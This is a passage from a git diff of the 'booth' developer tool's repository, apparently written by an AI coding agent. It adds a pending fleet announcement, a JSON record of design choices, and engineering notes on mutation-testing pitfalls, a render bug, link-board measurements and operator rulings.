2026-09-22 because it is a multi-recipient send, which CLAUDE.md gates on
|
||||
explicit operator approval. The operator's blanket "accept all recs" was
|
||||
read as ratifying the note's CONTENT, not as the specific broadcast
|
||||
approval that rule requires — and the classifier agreed. Not worked around.
|
||||
|
||||
**To send it:** the operator says go, or adds a Bash permission rule for
|
||||
`postbox send`. Recipients (17, from the live board's provenance):
|
||||
|
||||
hamr-dev tts-dev nh3-dev shutter-dev infra-ops comfy-dev ldp-dev
|
||||
design-dev pewpew-dev peedlar-dev brokkr-smithy-dev draupnir
|
||||
bifrost-dev yt-voice-clipper-dev svos-dev jackdaw-dev brokkr-scan-dev
|
||||
|
||||
Subject: `booth: \`booth link\` now refuses a booth URL — use \`booth new --why\` instead`
|
||||
|
||||
---
|
||||
|
||||
ONE CHANGE THAT AFFECTS YOU, and it is a refusal you would otherwise hit
|
||||
without knowing why.
|
||||
|
||||
`booth link` now REFUSES a booth URL.
|
||||
|
||||
$ booth link http://10.100.10.50:8090/b/my-run/ "the renders"
|
||||
booth link: that is a booth, and a booth announces itself now.
|
||||
booth new my-run --why "the renders"
|
||||
the index at http://10.100.10.50:8090/ is the feed.
|
||||
exit 2
|
||||
|
||||
WHY. A booth announces itself now — `booth new` and `booth add` write a
|
||||
`.booth.json` carrying your handle and a one-line `--why`, and the index
|
||||
renders it. Posting the URL to the board on top of that creates a row that
|
||||
rots the moment the booth is swept. Measured on the live board: 178 of its 221
|
||||
rows were booth URLs and 156 of those already pointed at nothing.
|
||||
|
||||
WHAT TO DO INSTEAD. Nothing extra — just use `--why`:
|
||||
|
||||
booth new my-run --why "8 renders, pick the two that hold at 4K"
|
||||
booth add my-run out/*.png --why "..."
|
||||
|
||||
The operator sees it on the index with your handle beside it.
|
||||
|
||||
WHAT IS UNCHANGED. `booth link` is NOT deprecated and keeps working for
|
||||
everything else — repos, model cards, docs, recipes, any durable reference.
|
||||
Roughly 14 of the board's 35 distinct non-booth links are exactly that and the
|
||||
board is still their home. Only the booth-URL shape is refused.
|
||||
|
||||
ALSO NEW, and optional: `booth bench add <url> <name>` registers a RUNNING
|
||||
SERVICE — your current bench, the thing that gets promoted to Homepage.
|
||||
Identity is the URL, so re-posting UPDATES the row instead of adding a fifth
|
||||
(`talk` was on the board five times). `booth bench ls` lists them.
|
||||
|
||||
a BOOTH is work to review. Announces itself, swept after 24h.
|
||||
a BENCH is a running thing. Registered, durable, upserted by URL.
|
||||
a LINK is a reference bookmark. The board, unchanged.
|
||||
|
||||
ONE MORE, since it is easy to miss: `booth link` also refuses a URL carrying
|
||||
credentials (`user:pass@host`). The board renders on an unauthenticated LAN
|
||||
surface.
|
||||
|
||||
Shipped in booth v0.6.0/v0.6.1, deployed and live. No action needed from you
|
||||
unless you have a script that posts booth URLs to the board — that will now
|
||||
exit 2 rather than silently adding a dead row.
|
||||
|
||||
-- booth-dev
|
||||
@@ -0,0 +1,218 @@
|
||||
{
|
||||
"booth": "booth-flow-concepts",
|
||||
"mark": {
|
||||
"id": "flow",
|
||||
"shape": "pick",
|
||||
"target": null,
|
||||
"created": "2026-09-23T07:18:16.254321-07:00",
|
||||
"declaration": {
|
||||
"title": "The Booth — round 2: which flow gets built",
|
||||
"questions": [
|
||||
{
|
||||
"key": "direction",
|
||||
"prompt": "Which flow becomes the Booth?",
|
||||
"options": [
|
||||
{
|
||||
"id": "a_b",
|
||||
"label": "A + B's reel as the review mode",
|
||||
"detail": "RECOMMENDED — the Desk + lightbox; full size gets the tape, seen-tracking and the end-of-set summary"
|
||||
},
|
||||
{
|
||||
"id": "a",
|
||||
"label": "A — The Desk alone",
|
||||
"detail": "triage index + lightbox + full-size review with filmstrip; no seen-tracking"
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"label": "B — The Reel",
|
||||
"detail": "every booth opens as a one-at-a-time review; the grid is secondary"
|
||||
},
|
||||
{
|
||||
"id": "c",
|
||||
"label": "C — The Bench",
|
||||
"detail": "compare-first; argued against as the default"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "compare",
|
||||
"prompt": "Compare mode (C as a view toggle):",
|
||||
"options": [
|
||||
{
|
||||
"id": "this_arc",
|
||||
"label": "Build it in this arc, after A/B land",
|
||||
"detail": "RECOMMENDED — the ladders and bakeoffs already need it"
|
||||
},
|
||||
{
|
||||
"id": "v11",
|
||||
"label": "Leave it parked for v1.1",
|
||||
"detail": "booth-dev's current plan"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "voice",
|
||||
"prompt": "The new copy I'll be writing — which voice?",
|
||||
"options": [
|
||||
{
|
||||
"id": "plain",
|
||||
"label": "Plain and direct",
|
||||
"detail": "RECOMMENDED — it's a judgment surface; deadpan only where nothing is at stake (empty states)"
|
||||
},
|
||||
{
|
||||
"id": "deadpan",
|
||||
"label": "SVOS deadpan villainy throughout",
|
||||
"detail": "the full SVOS voice"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "emblem",
|
||||
"prompt": "The SVS emblem in the top bar?",
|
||||
"options": [
|
||||
{
|
||||
"id": "no",
|
||||
"label": "No",
|
||||
"detail": "RECOMMENDED — a fleet utility; the glowing dot and reticle favicon carry the family look"
|
||||
},
|
||||
{
|
||||
"id": "yes",
|
||||
"label": "Yes — the square emblem",
|
||||
"detail": "brands the Booth as part of the SVOS suite"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"notes": true
|
||||
},
|
||||
"prompt": "The Booth — round 2: which flow gets built",
|
||||
"title": "The Booth — round 2: which flow gets built",
|
||||
"multi": true,
|
||||
"questions": [
|
||||
{
|
||||
"key": "direction",
|
||||
"prompt": "Which flow becomes the Booth?",
|
||||
"options": [
|
||||
{
|
||||
"id": "a_b",
|
||||
"label": "A + B's reel as the review mode",
|
||||
"detail": "RECOMMENDED — the Desk + lightbox; full size gets the tape, seen-tracking and the end-of-set summary"
|
||||
},
|
||||
{
|
||||
"id": "a",
|
||||
"label": "A — The Desk alone",
|
||||
"detail": "triage index + lightbox + full-size review with filmstrip; no seen-tracking"
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"label": "B — The Reel",
|
||||
"detail": "every booth opens as a one-at-a-time review; the grid is secondary"
|
||||
},
|
||||
{
|
||||
"id": "c",
|
||||
"label": "C — The Bench",
|
||||
"detail": "compare-first; argued against as the default"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
},
|
||||
{
|
||||
"key": "compare",
|
||||
"prompt": "Compare mode (C as a view toggle):",
|
||||
"options": [
|
||||
{
|
||||
"id": "this_arc",
|
||||
"label": "Build it in this arc, after A/B land",
|
||||
"detail": "RECOMMENDED — the ladders and bakeoffs already need it"
|
||||
},
|
||||
{
|
||||
"id": "v11",
|
||||
"label": "Leave it parked for v1.1",
|
||||
"detail": "booth-dev's current plan"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
},
|
||||
{
|
||||
"key": "voice",
|
||||
"prompt": "The new copy I'll be writing — which voice?",
|
||||
"options": [
|
||||
{
|
||||
"id": "plain",
|
||||
"label": "Plain and direct",
|
||||
"detail": "RECOMMENDED — it's a judgment surface; deadpan only where nothing is at stake (empty states)"
|
||||
},
|
||||
{
|
||||
"id": "deadpan",
|
||||
"label": "SVOS deadpan villainy throughout",
|
||||
"detail": "the full SVOS voice"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
},
|
||||
{
|
||||
"key": "emblem",
|
||||
"prompt": "The SVS emblem in the top bar?",
|
||||
"options": [
|
||||
{
|
||||
"id": "no",
|
||||
"label": "No",
|
||||
"detail": "RECOMMENDED — a fleet utility; the glowing dot and reticle favicon carry the family look"
|
||||
},
|
||||
{
|
||||
"id": "yes",
|
||||
"label": "Yes — the square emblem",
|
||||
"detail": "brands the Booth as part of the SVOS suite"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
}
|
||||
],
|
||||
"options": [],
|
||||
"notes_enabled": true,
|
||||
"notes_label": "notes",
|
||||
"answer": {
|
||||
"stem": "flow",
|
||||
"title": "The Booth — round 2: which flow gets built",
|
||||
"answers": {
|
||||
"direction": {
|
||||
"prompt": "Which flow becomes the Booth?",
|
||||
"choice": "a_b",
|
||||
"choice_index": 0,
|
||||
"label": "A + B's reel as the review mode",
|
||||
"notes": ""
|
||||
},
|
||||
"compare": {
|
||||
"prompt": "Compare mode (C as a view toggle):",
|
||||
"choice": "this_arc",
|
||||
"choice_index": 0,
|
||||
"label": "Build it in this arc, after A/B land",
|
||||
"notes": ""
|
||||
},
|
||||
"voice": {
|
||||
"prompt": "The new copy I'll be writing — which voice?",
|
||||
"choice": "plain",
|
||||
"choice_index": 0,
|
||||
"label": "Plain and direct",
|
||||
"notes": ""
|
||||
},
|
||||
"emblem": {
|
||||
"prompt": "The SVS emblem in the top bar?",
|
||||
"choice": "no",
|
||||
"choice_index": 0,
|
||||
"label": "No",
|
||||
"notes": ""
|
||||
}
|
||||
},
|
||||
"unanswered": [],
|
||||
"complete": true,
|
||||
"notes": "",
|
||||
"answered_at": "2026-09-23T08:07:40-07:00",
|
||||
"answered_by": "100.64.0.4"
|
||||
},
|
||||
"text": "",
|
||||
"flagged": false,
|
||||
"by": "",
|
||||
"error": null
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
# An approved directive misrouted because pane_find addresses by a rolling title
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**An operator-approved directive (D-0011, sent by Miranda, telling booth-dev to
|
||||
begin U7) landed on the infra-ops handle instead.** Worth keeping for the
|
||||
mechanism, not the incident: the incident resolved cleanly and the mechanism
|
||||
did not.
|
||||
|
||||
## What happened, and why nothing broke
|
||||
|
||||
`pane_find` matched `terminal_2` **by its ROLLING PANE TITLE**, and that pane is
|
||||
the eshpfi-management seat rather than booth-dev. Miranda confirmed all of this
|
||||
directly when asked.
|
||||
|
||||
infra-ops caught it and **deliberately did not relay the content as an
|
||||
instruction** — their reasoning, which is exactly right: a directive arriving as
|
||||
"infra-ops says Miranda says Vuong says" is two hops from the source, and a peer
|
||||
passing operator authority along is the thing the rules warn about. They sent a
|
||||
routing report instead, quoting only the two lines that identified the target.
|
||||
|
||||
This session then **did not act on it**, and asked Miranda directly rather than
|
||||
taking a peer's word for the operator's. She confirmed it was genuine and
|
||||
**superseded pending the sections ruling**. Both loops closed in two messages.
|
||||
|
||||
## The part that is still true tomorrow
|
||||
|
||||
**A pane title that changes as work moves through the pane is not a stable
|
||||
address.** It put an approved directive on the wrong seat, and:
|
||||
|
||||
- **the failure is silent from the sender's side.** Miranda had no signal it
|
||||
went astray until infra-ops spoke up. A directive that misroutes to a quiet
|
||||
or busy seat simply evaporates.
|
||||
- it landed somewhere that caught it. That was luck, not design.
|
||||
|
||||
Reported to infra-ops as an ops matter (`01M35JJ9034E64HMA8X9C21R2N`), with the
|
||||
mechanism named and no fix proposed — not this repo's call. **Not tracked
|
||||
anywhere by booth-dev**; recorded here only so the next session does not
|
||||
re-derive it if a directive goes missing again.
|
||||
|
||||
## The rule this confirms
|
||||
|
||||
The CLAUDE.md Miranda exception is for Miranda relaying **directly**. A
|
||||
second-hand report of a Miranda relay is one hop too far, and infra-ops said so
|
||||
before this session had to. Going to the source cost two messages and settled it.
|
||||
@@ -0,0 +1,69 @@
|
||||
# A mutation harness that certified a broken test, twice, for two reasons
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
This repo already knows that **an assertion which has never seen its own
|
||||
defeating change is not known to falsify anything** — two prior entries say so
|
||||
([[2026-09-22-vacuous-falsifiers]], [[2026-09-22-seven-of-seven-falsifiers]]).
|
||||
So U7's groups were built with a harness that applies each defeating change and
|
||||
asserts the named test goes red. **The harness itself had two defects, and both
|
||||
produce the same lie: a falsifier certified without being run.**
|
||||
|
||||
## Defect 1 — no green baseline
|
||||
|
||||
A test that is **already red** reports RED for every mutation thrown at it. The
|
||||
escaping test had an arithmetic slip (counted `<` against `<a`/`<nav`/`</` and
|
||||
forgot the two `<b>` elements), so it was failing for a reason unrelated to
|
||||
escaping — and the harness cheerfully reported `RED ✓ the rail markup is emitted
|
||||
with |safe`. **Run the test unmutated first; a non-zero baseline is a harness
|
||||
failure, not a proven falsifier.**
|
||||
|
||||
## Defect 2 — the bytecode cache, which is the subtle one
|
||||
|
||||
`if len(sizes) < 2` → `if len(sizes) < 1` is **byte-identical in size**. CPython
|
||||
validates a `.pyc` against the source's `(mtime, size)` at **one-second
|
||||
granularity** — so a mutation that lands in the same second as the revert before
|
||||
it is invisible, the cached bytecode is reused, and **the harness runs the
|
||||
unmutated code and reports the falsifier proven.**
|
||||
|
||||
The tell was non-determinism with no cause: INV-3a certified RED on one run and
|
||||
GREEN on the next with neither the test nor the code changing, and reproduced by
|
||||
hand every time. Fix: delete `__pycache__` and set `PYTHONDONTWRITEBYTECODE=1`
|
||||
in the subprocess environment before every run.
|
||||
|
||||
⚠ **This bites any same-size source mutation**, which is most interesting ones:
|
||||
comparison flips, off-by-one constants, `and`↔`or`, `<`↔`>`. A mutation harness
|
||||
without cache defeat is biased toward exactly the mutations most worth running.
|
||||
|
||||
## Result
|
||||
|
||||
12 falsifiers, 12 proved, stable across consecutive runs. Two of them only
|
||||
after these fixes — and one of the twelve (`test_group_order_is_the_position_of
|
||||
_the_first_member`) was genuinely vacuous on the first pass: its `w, x, y`
|
||||
fixture's positional order **happened to be alphabetical**, so it stayed green
|
||||
under the alphabetical-sort mutation it forbade. Rebuilt so all three plausible
|
||||
rules (position, alphabetical, count) disagree.
|
||||
|
||||
**The harness lives in the session scratchpad and dies with the session.**
|
||||
Whether it becomes `scripts/` is an open question for the operator — this repo
|
||||
has now been bitten by vacuous falsifiers three times, and prose in a memory
|
||||
file is not an instrument.
|
||||
|
||||
## A third way an instrument goes blind: `nth-child` vs `nth-of-type`
|
||||
|
||||
_Added 2026-09-23, credited to design-dev, who hit it in his R2 order check._
|
||||
|
||||
His layout check has a positive control — one tile given `order:-1` that the
|
||||
check must catch. **The control went blind when group headers became grid
|
||||
children**: `nth-child(5)` started landing on a header instead of the fifth
|
||||
tile, so the control stopped controlling and the check kept reporting clean.
|
||||
|
||||
Same class as this file's other two, and the reason it belongs here: **a control
|
||||
that no longer controls reads exactly like a passing test.** Nothing in the
|
||||
output distinguishes "detected nothing because there was nothing" from
|
||||
"detected nothing because I am aimed at the wrong element".
|
||||
|
||||
**The rule worth having written down:** use `nth-of-type` over `nth-child` for
|
||||
any assertion that means *the Nth TILE* rather than *the Nth child element*.
|
||||
The two agree right up until somebody adds a sibling of a different kind — and
|
||||
adding a sibling is what a redesign is.
|
||||
@@ -0,0 +1,120 @@
|
||||
# A wrong-shaped answer 500s the gallery and the marks page — CLOSED 2026-09-22
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Found by the U3 bug-hunt panel, measured against `42ea67f` — the commit
|
||||
BEFORE U3 — so it is not this unit's doing and was not fixed by it.** U3's own
|
||||
surface is guarded; these two are not.
|
||||
|
||||
## The defect
|
||||
|
||||
`.marks.json` that is **well-formed JSON with a wrong-shaped value** passes
|
||||
every reader and then raises in the renderer:
|
||||
|
||||
```json
|
||||
{"id": "batch", "shape": "pick", "answer": {"answers": [], "notes": ""}}
|
||||
```
|
||||
|
||||
`_hydrate` only checks `isinstance(entry.get("answer"), dict)` — it never
|
||||
validates `answer["answers"]`. So `marks_for` and `hold_read` both return the
|
||||
mark with `error = None` and **no read error at all**, and then
|
||||
`_ask_inline.html` does `a.answer.answers.get(q.key)`, Jinja asks a list for
|
||||
`.get`, and it raises `UndefinedError`.
|
||||
|
||||
Measured, not reasoned:
|
||||
|
||||
PRE-U3 (42ea67f) gallery page: 500
|
||||
PRE-U3 (42ea67f) marks page: 500
|
||||
PRE-U3 (42ea67f) index: 200
|
||||
|
||||
The index survives because it never renders a fragment.
|
||||
|
||||
## Why it matters more than it looks
|
||||
|
||||
This is **the v0.2.2 shape with a different trigger**. That outage was a
|
||||
`.marks.json` that could not be PARSED; the reader was made lenient and the
|
||||
index stopped 500ing. This one parses perfectly and breaks one layer further in,
|
||||
at render time, where no leniency exists — so the lesson "one damaged file must
|
||||
cost its own tile, not the page" is only half-implemented. `read_error` is
|
||||
answering a narrower question than every caller assumes.
|
||||
|
||||
## What U3 did and did not do
|
||||
|
||||
U3 added `_safe_fragments` around `_pick_fragments`, so `/b/<name>/embed.json`
|
||||
returns a per-mark `error` record instead of a 500 — the same posture
|
||||
`_hydrate_safe` takes one layer down. That protects **the verbatim path only**.
|
||||
|
||||
`booth.html` and `marks.html` call the same macros with no such guard. Left
|
||||
alone deliberately: the gallery is named out of scope in the U3 contract, and
|
||||
widening a unit mid-flight to cover a pre-existing defect in a surface it never
|
||||
touched is the scope drift the roadmap gate exists to stop.
|
||||
|
||||
## The design question it deserves, when it is picked up
|
||||
|
||||
Not "wrap the other two call sites" — that is the third copy of one guard. The
|
||||
real question is **where the boundary belongs**:
|
||||
|
||||
1. **In `_hydrate`**, validating the answer shape so a wrong-shaped answer
|
||||
becomes `error` at hydration and every surface inherits the fix. Cleanest,
|
||||
and consistent with declarations already being normalized on read — but it
|
||||
widens what `error` means.
|
||||
2. **At each render site**, per-mark, as U3 did. Honest and local; three copies.
|
||||
3. **In the template**, defensively. Cheapest and worst — it hides the fact
|
||||
that anything is wrong.
|
||||
|
||||
(1) is the shape the rest of this module already argues for: one predicate,
|
||||
one place. Worth an operator decision because it changes what a `Mark` can be.
|
||||
|
||||
⚠ Reproduce with the fixture in
|
||||
`tests/test_embed.py::test_a_wrongly_shaped_answer_costs_its_pick_not_the_report`,
|
||||
whose closing comment points back here.
|
||||
|
||||
Related: [[2026-09-21-marks-write-wiped-judgment]],
|
||||
[[2026-09-22-lenient-reader-blast-radius]],
|
||||
[[2026-09-22-u3-declared-embed-seam-landed]].
|
||||
|
||||
|
||||
---
|
||||
|
||||
## CLOSED — 2026-09-22, after U6, at option (1)
|
||||
|
||||
Fixed in `_hydrate`, the option this entry argued for: **one predicate, one
|
||||
place, every surface inherits it.** The operator was asked three times where the
|
||||
guard belonged and did not answer; the placement was taken under the stated
|
||||
assumption, and it is cheap to move if he disagrees — the whole fix is one
|
||||
condition in one function.
|
||||
|
||||
**Only the MULTI case is checked**, because only the multi case indexes: a
|
||||
single-question pick's answer IS the record, with no `answers` key to get wrong.
|
||||
Requiring one unconditionally would break every single pick — the direction a
|
||||
too-eager guard fails in, and it has its own test.
|
||||
|
||||
Measured before and after, on the gallery booth (no `index.html`):
|
||||
|
||||
before /b/g/ 500 /b/g/marks 500 / 200 /healthz 200
|
||||
after /b/g/ 200 /b/g/marks 200 / 200 /healthz 200
|
||||
and the error is VISIBLE on the page, and the booth's
|
||||
OTHER, healthy pick still renders
|
||||
|
||||
**Two things fell out of it that are worth more than the fix.**
|
||||
|
||||
1. **`_safe_fragments` lost its natural trigger.** Probed every wrong answer
|
||||
shape reachable from a `.marks.json`: `answers` as a list, a string or null
|
||||
all become hydration errors now, and a wrong-typed VALUE inside `answers`
|
||||
renders without raising because Jinja absorbs attribute access on a
|
||||
non-mapping. So U3's guard is now a pure backstop with **no reachable
|
||||
natural input**. Its test was rewritten to a synthetic trigger that says so —
|
||||
patching the shared macro module through `app.state.templates` — rather than
|
||||
left asserting a path nothing reaches. An untested guard and a guard tested
|
||||
by an unreachable input are the same thing.
|
||||
|
||||
2. **The guard's own handler could not survive the failure it was handling.**
|
||||
Building that falsifier tripped it: `_safe_fragments` caught a raising
|
||||
`_pick_fragments` and then rebuilt the broken-ask box **through the same
|
||||
macro module that had just raised**, so when `whole` itself was broken the
|
||||
handler re-raised and took the whole report. Fixed, with its own test. Found
|
||||
by accident, which is the usual way.
|
||||
|
||||
Both new falsifiers were **verified RED against their defeating change** rather
|
||||
than assumed — the discipline from [[2026-09-22-vacuous-falsifiers]], applied to
|
||||
the fix for the entry that names it.
|
||||
@@ -0,0 +1,54 @@
|
||||
# No fleetwide notice for U4 — and what that does to the prediction
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Operator decision, 2026-09-22: do NOT tell the 17 consuming handles that
|
||||
`keep` has stopped being the way to say "waiting on an answer".** No broadcast.
|
||||
Same posture he took on U5, and the same instrument: adoption gets told apart
|
||||
from design because nobody was primed.
|
||||
|
||||
⚠ **THIS CHANGES HOW THE 2026-10-06 RE-COUNT MUST BE READ, and a session that
|
||||
misses this will draw the wrong conclusion from a true number.**
|
||||
|
||||
U4 has two halves and they do NOT have the same adoption cost:
|
||||
|
||||
- **The hold rides for free.** A session that runs `booth ask` gets its booth
|
||||
held with no knowledge of anything. The operator answering releases it. No
|
||||
peer has to learn a thing for the mechanism to work.
|
||||
- **NOT PRESSING `keep` HAS TO BE LEARNED.** U4 makes the sentinel unnecessary
|
||||
for the "not yet" case; it does not make it unavailable, and nothing stops a
|
||||
habit. An agent that has always pressed `keep` while waiting will keep
|
||||
pressing it.
|
||||
|
||||
**So a flat `.forever` rate on 2026-10-06 does NOT falsify the diagnosis.** It
|
||||
is exactly what "the mechanism works and nobody was told" looks like — the U5
|
||||
shape, one unit later. Reporting a null result without this caveat would retire
|
||||
a correct diagnosis on the strength of an uncontrolled measurement.
|
||||
|
||||
**Use these instead, and report all three.** The raw rate stays as context, not
|
||||
as the verdict:
|
||||
|
||||
1. **The overlap — booths with an open pick AND `.forever`.** Was **3** on
|
||||
2026-09-22, which is the positive control for the whole diagnosis. It falls
|
||||
only if peers learn; it is the *adoption* number.
|
||||
|
||||
comm -12 <(grep -l '"shape": "pick"' ~/booth-data/*/.marks.json | xargs -n1 dirname | sort) \
|
||||
<(dirname ~/booth-data/*/.forever | sort) | wc -l
|
||||
|
||||
2. **Did the hold ever bind?** Count booths that were held past their TTL and
|
||||
therefore survived a sweep they would otherwise have lost. This needs no
|
||||
peer to change anything, so it is the honest test of whether the mechanism
|
||||
is load-bearing at all. **If it is ZERO over a fortnight, the diagnosis was
|
||||
wrong about VOLUME** — the "not yet" case is rarer than the sentinel rate
|
||||
suggested — and that is a real finding. The sweeper logs what it wipes;
|
||||
nothing yet logs what it spares, so **this counter does not exist and would
|
||||
have to be added before it can be read.** Say so rather than guessing.
|
||||
3. **The raw `.forever` rate** — 17 of 24 (70%) on 2026-09-22. Context only,
|
||||
now that the no-notice decision has made it a measurement of habit rather
|
||||
than of need.
|
||||
|
||||
⚠ **Sensitivity floor, stated because a bare "no effect" is unfalsifiable:**
|
||||
only **4 of 24** booths carried marks at all on 2026-09-22. The hold cannot
|
||||
bind on a booth with no marks, so at that population the mechanism can touch at
|
||||
most a sixth of the fleet, and an effect smaller than one or two booths is not
|
||||
resolvable by any of these counts. Related: `[[2026-09-22-forever-had-a-live-positive-control]]`.
|
||||
@@ -0,0 +1,39 @@
|
||||
# The 69% link-board rot was two defects wearing one number
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Re-measuring the board before writing U6's contract split its headline number
|
||||
in half, and the half U6 owns is the smaller one.** The IA doc records *211
|
||||
rows, 145 (69%) pointing at booths that no longer exist*. Re-counted on
|
||||
2026-09-22 the board was 221 rows — and the split nobody had taken before:
|
||||
|
||||
| | count | share |
|
||||
|---|---|---|
|
||||
| rows that are booth URLs | **178** | 80% of the board |
|
||||
| …whose booth is already swept | **156** | **71% of the whole board** |
|
||||
| rows that are NOT booth URLs | 43 | 19% |
|
||||
| …distinct after full-URL normalization | 35 | |
|
||||
| …collapsed by the re-post problem U6 names | **8 rows** | |
|
||||
|
||||
So the 69% is:
|
||||
|
||||
1. **Booth-announcement rot — 178 rows.** A session posted a booth URL because
|
||||
a booth could not announce itself. **U5 already closed the cause.** Nothing
|
||||
stopped the habit, so the board took 11 more of these in the day after it was
|
||||
first measured.
|
||||
2. **Bench re-post — 8 rows.** An append log with no identity. This is the part
|
||||
the registry fixes, and it is an order of magnitude smaller.
|
||||
|
||||
**The third thing, which the IA doc does not describe at all:** of the 35
|
||||
distinct non-booth targets, roughly **14 are running services (benches)** and
|
||||
roughly **14 are reference bookmarks** — gitea repos, HuggingFace model cards, a
|
||||
vLLM recipe, a Headscale page — with the rest ephemeral one-shot links. The IA
|
||||
doc planned for `booth link` to survive "as a deprecated alias". That would have
|
||||
evicted a third of the board's live content from the only home it has. **U6 does
|
||||
not deprecate `booth link`**; it removes exactly one shape from it.
|
||||
|
||||
**Why this is worth keeping.** The single 69% figure implies the registry is the
|
||||
big win. It is not — the enforced rule and the dead marker are. A unit scoped
|
||||
off the unsplit number would have built the registry, declared victory, and left
|
||||
178 rows rotting. Re-measure before contracting; the number in the design doc is
|
||||
a day old the moment it is written.
|
||||
@@ -0,0 +1,49 @@
|
||||
# The operator ruled on all five open items at once
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**"accept all recs, or make good ones, write it to handoff so I can clear."** A
|
||||
blanket ratification. Four of the five executed; one was stopped by the
|
||||
permission layer and is recorded rather than worked around.
|
||||
|
||||
| # | item | ruling | state |
|
||||
|---|---|---|---|
|
||||
| 1 | Drop subfolder sections for filename-prefix groups | **APPROVED** | **not yet built** — the next session's first job |
|
||||
| 2 | What `unanswered` filters on | **open pick** (the shipped reading) | settled; the other reading parked to v1.1 |
|
||||
| 3 | Push `main` | **PUSH** | **DONE** — 16 commits + `v0.6.0` + `v0.6.1` now on `origin` |
|
||||
| 4 | The 17-handle althing note | send it | **BLOCKED** — see below |
|
||||
| 5 | Marks guard placement | **stays at `_hydrate`** | already there; nothing to do |
|
||||
|
||||
## Two things the blanket ruling did NOT cover, and why
|
||||
|
||||
**The broadcast was blocked by the auto-mode classifier, and that was right.**
|
||||
CLAUDE.md gates any multi-recipient althing send on *explicit* operator
|
||||
approval — "ask, then send, never send and report" — because the cost is
|
||||
multiplied by the recipient count and paid out of budgets the sender never
|
||||
sees. A blanket "accept all recs" ratifies the note's **content**; it is not the
|
||||
specific, informed broadcast approval that rule asks for. The classifier agreed
|
||||
and **it was not worked around**. Draft, rationale and the 17-name recipient
|
||||
list live at `docs/pending/fleet-note-booth-link-refusal.md` so they survive a
|
||||
context clear; it needs his explicit go or a `postbox send` permission rule.
|
||||
|
||||
**"No seeding yet" survives the blanket ruling**, because it was a SPECIFIC
|
||||
prior instruction rather than a recommendation of this session's. A blanket
|
||||
acceptance of recommendations does not overwrite a direct instruction pointing
|
||||
the other way. `.benches.json` still does not exist in `~/booth-data`.
|
||||
|
||||
## The push, recorded because it is a first
|
||||
|
||||
`main` was **16 commits ahead** with two release tags unpushed and the whole of
|
||||
U6 single-copy on one box. Pushed with `--follow-tags`, then the two tags
|
||||
explicitly — `--follow-tags` pushed neither, because both tags are LIGHTWEIGHT
|
||||
per the SemVer policy and that flag only carries annotated ones. Worth knowing:
|
||||
**a lightweight release tag needs its own `git push origin <tag>`.**
|
||||
|
||||
## The trap this leaves behind, and it is a real one
|
||||
|
||||
`tests/test_navigation.py::test_no_group_rail_is_shipped_yet` was written to
|
||||
**stop an unapproved group rail from arriving by accident**. The rail is now
|
||||
approved, so that test has inverted: it will block the correct work and read
|
||||
like a genuine invariant while doing it. **Whoever builds the group rail must
|
||||
delete it in the same commit.** A guard that outlives its reason is worse than
|
||||
no guard, because the next reader trusts it.
|
||||
@@ -0,0 +1,87 @@
|
||||
# A vacuity pass that tries the contract's own mutation agrees with itself
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
The contract-time **vacuity pass** — for each invariant, name a change that
|
||||
defeats it and check the named test goes red — was proposed independently by
|
||||
Regin and Kimi on U4's paraphrase round, and U4's own code-review panel then
|
||||
showed **five of seven** U4 falsifiers were vacuous: a green test *cited* by an
|
||||
`INV` rather than a test that would *fail* if the invariant broke. See
|
||||
[[2026-09-22-vacuous-falsifiers]].
|
||||
|
||||
U3 ran the pass as a real instrument rather than a promise. Script in the
|
||||
session scratchpad; for each invariant it applies the mutation the contract's
|
||||
*Falsifiable:* line names, runs the single named test, and asserts a **non-zero**
|
||||
exit, restoring the file in a `finally` either way.
|
||||
|
||||
| INV | mutation applied | verdict |
|
||||
|---|---|---|
|
||||
| 1 declaring page untouched | append `<!-- booth -->` to the declaring branch | FALSIFIED |
|
||||
| 2 appended, never inserted | insert the tag before `<title>` instead | FALSIFIED |
|
||||
| 3 no regex on author HTML | re-declare `_ICON_RE` in `app.py` | FALSIFIED |
|
||||
| 4 openness is the server's | have `embed.js` derive open from `bk-done` | FALSIFIED |
|
||||
| 5 embed.js read once | `read_text()` per request in the route | FALSIFIED |
|
||||
| 6 tail in payload order | iterate the marks list backwards | FALSIFIED |
|
||||
| 7 unplaced questions appended | short-circuit the append branch to `if (false)` | FALSIFIED |
|
||||
|
||||
**7/7**, and — the part that makes it a measurement rather than a ritual — an
|
||||
**unmutated control run** confirming all seven named tests are green when
|
||||
nothing is broken. Without that control, a script whose mutation silently failed
|
||||
to apply (the text not found, the wrong file) reports the same clean-looking
|
||||
table. The script halts with `MUTATION-MISS` if its target string is absent,
|
||||
for exactly that reason.
|
||||
|
||||
## Why it is worth the ten minutes
|
||||
|
||||
Three of the seven falsifiers are in `embed.js`, which the Python suite cannot
|
||||
see at all. INV-4, INV-6 and INV-7 are held **only** by browser tests, and
|
||||
"there is a browser test named after this invariant" is precisely the kind of
|
||||
claim that feels like coverage and can be empty. Two of those three mutations
|
||||
are one-token edits — `marks.length - 1` and `if (false)` — so the cost of
|
||||
checking was minutes and the cost of being wrong was an invariant nobody was
|
||||
holding.
|
||||
|
||||
**The general shape:** an instrument that cannot fail loudly will fail quietly.
|
||||
Same family as the `(gasp)` tag-detection specimen in the global measurement
|
||||
rule, and as the zsh word-splitting bug that shipped an empty heid bundle —
|
||||
[[2026-09-22-four-paths-to-one-fail-open-delete]]. A clean result and a broken
|
||||
method are indistinguishable from the output alone unless something in the
|
||||
